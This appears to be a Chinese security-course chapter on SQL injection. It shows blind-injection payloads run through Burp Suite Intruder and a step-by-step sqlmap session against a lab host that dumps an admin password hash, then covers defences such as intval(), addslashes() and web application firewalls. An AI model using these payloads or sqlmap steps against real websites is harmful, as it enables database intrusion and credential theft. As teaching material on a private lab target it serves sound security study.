SQL注入

Burp Suite辅助手工注入

Burp Suite介绍

Burp Suite 是用于攻击web 应用程序的集成平台,包含了许多工具

  • Proxy:代理器,拦截、查看、修改原始数据流
  • Intruder:攻击器,对web应用程序进行攻击
  • Repeater:中继器,修改、重发HTTP请求
  • Decoder:解码器,智能解码编码的工具
  • Comparer:对比器,信息差异比较工具

安装Burp Suite

  • 安装和配置java环境
  • 激活Burp Suite pro
  • 运行Burp Suite

13.3.1

配置Firefox代理服务器

安装FoxyProxy组件

添加代理服务器

  • IP地址:127.0.0.1
  • 端口:8080

启用代理上网

13.3.2

回顾:手工猜解当前数据库名

猜解数据库长度

1
?id=48 and length(database())=n -- +

猜解数据库名称第一个字母

1
?id=48 and ord(substr(database(),m,1))=n -- +

13.3.3

使用Burp Suite猜解数据库长度

使用Intruder模块,自动替换n的值

1
?id=48 and length(database())=n -- +

13.3.4

使用Burp Suite猜解数据库名称

使用Intruder模块,自动替换m,n的值

1
?id=48 and ord(substr(database(),m,1))=n -- +

13.3.5

使用Burp Suite猜解表名

猜解数据库中所有表名

1
?id=48 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'),m,1))=n -- +

13.3.6

sqlmap自动注入

sqlmap介绍

sqlmap 是一个开源渗透测试工具,可以实现自动SQL注入

  • 完全支持MySQL、Oracle、SOL Server、DB2等多种数据库管理系统
  • 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入
  • 支持下载数据库中的某个完整表,或部分数据
  • 支持搜索指定的数据库名、表名或列名
  • 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
  • 支持自动识别密码哈希格式并通过字典破解密码哈希

安装sqlmap

kali系统默认已经安装,直接运行sqlmap命令

Windows系统需要全新安装

  • 安装Python2.7
  • 解压安装sqlmap1.5
  • 执行sqlmap.py命令

13.3.7

检测注入点

选项:-u “URL”

1
2
┌──(root㉿kali)-[~]
└─# sqlmap -u http://192.168.10.1/news/show.php/?id=48

列出所有数据库名

选项:-dbs

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~]
└─# sqlmap -u http://192.168.10.1/news/show.php/?id=48 -dbs

available databases [9]:
[*] challenges
[*] information_schema
[*] mysql
[*] news
[*] ntd
[*] performance_schema
[*] pikachu
[*] security
[*] test

列出当前数据库名

选项:–current-db

1
2
3
4
5
6
┌──(root㉿kali)-[~]
└─# sqlmap -u http://192.168.10.1/news/show.php/?id=48 --current-db

[15:32:47] [INFO] fetching current database
[15:32:53] [INFO] retrieved: 'news'
current database: 'news'

列出指定数据库中所有表

选项:-D 数据库名 –tables

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~]
└─# sqlmap -u http://192.168.10.1/news/show.php/?id=48 -D news --tables

Database: news
[8 tables]
+-----------------+
| news_article |
| news_category |
| news_file |
| news_friendlink |
| news_message |
| news_notice |
| news_page |
| news_users |
+-----------------+

列出指定表中的字段名

选项:-D 数据库名 -T 表名 –columns

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~]
└─# sqlmap -u http://192.168.10.1/news/show.php/?id=48 -D news -T news_users --columns

Database: news
Table: news_users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| password | varchar(32) |
| userid | int(11) |
| username | varchar(20) |
+----------+-------------+

列出指定字段中的内容

选项:-D 数据库名 -T 表名 -C 字段名 –dump

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~]
└─# sqlmap -u http://192.168.10.1/news/show.php/?id=48 -D news -T news_users -C username,password --dump

Database: news
Table: news_users
[1 entry]
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| admin | e10adc3949ba59abbe56e057f20f883e |
+----------+----------------------------------+

SQL注入防护

回顾SQL注入本质

SQL注入利用Web应用对后台数据库查询语句处理时存在的安全漏洞

  • 设计程序时忽略了对某些字符串的检查
  • 原本程序要执行的代码,拼接了用户输入的数据 (嵌入指令)

数字型注入防护

对获取的数值型数据,进行类型转换,如

  • intval():将字符串转为整形数值
  • floatval():将字符串转为浮点型数值
1
2
3
4
5
6
7
8
9
10
11
function getArticleInfo($id=0){
global $db;
if($id==0){
if(empty($_GET['id'])){
return false();
}else{
$id = intval($_GET['id']);
}
}
return $db -> getOneRow("select * from news_article where id=".$id)
}

字符型注入防护

对用户输入的内容进行过滤处理,含单引号(‘)、双引号(“)、反斜线(\)与NULL等字符,都会被加上反斜线

  • magic_quotes_gpc=on //php5.3之前版本
  • addslashes()
1
2
3
4
5
if(isset($_POST["username"])){
$username = addslashes($_POST["username"]);
}else{
$username ="";
}

Web应用防火墙

Web应用防火墙(Web Application Firewall,简称WAF),可以有效识别Web业务流量的恶意特征,在对流量进行清洗和过滤后,将正常、安全的流量返回给服务器,避免网站服务器被恶意入侵导致服务器性能异常等问题,保障网站的业务安全和数据安全

  • 硬件:天融信应用安全网关系统、绿盟Web应用防护系统、安恒信息明御Web应用防火墙、深信服下一代防火墙AF
  • 云安全:阿里云、华为云、腾讯云
  • 软件:D盾_防火墙、网站安全狗

部署Web应用服务器

  • 安装“网站安全狗”
  • 开启防护
  • 设置防护等级:高级

注入防护测试

  • 使用sqlmap自动注入测试
1
2
┌──(root㉿kali)-[~]
└─# sqlmap -u http://192.168.10.1/news/show.php/?id=48

13.3.8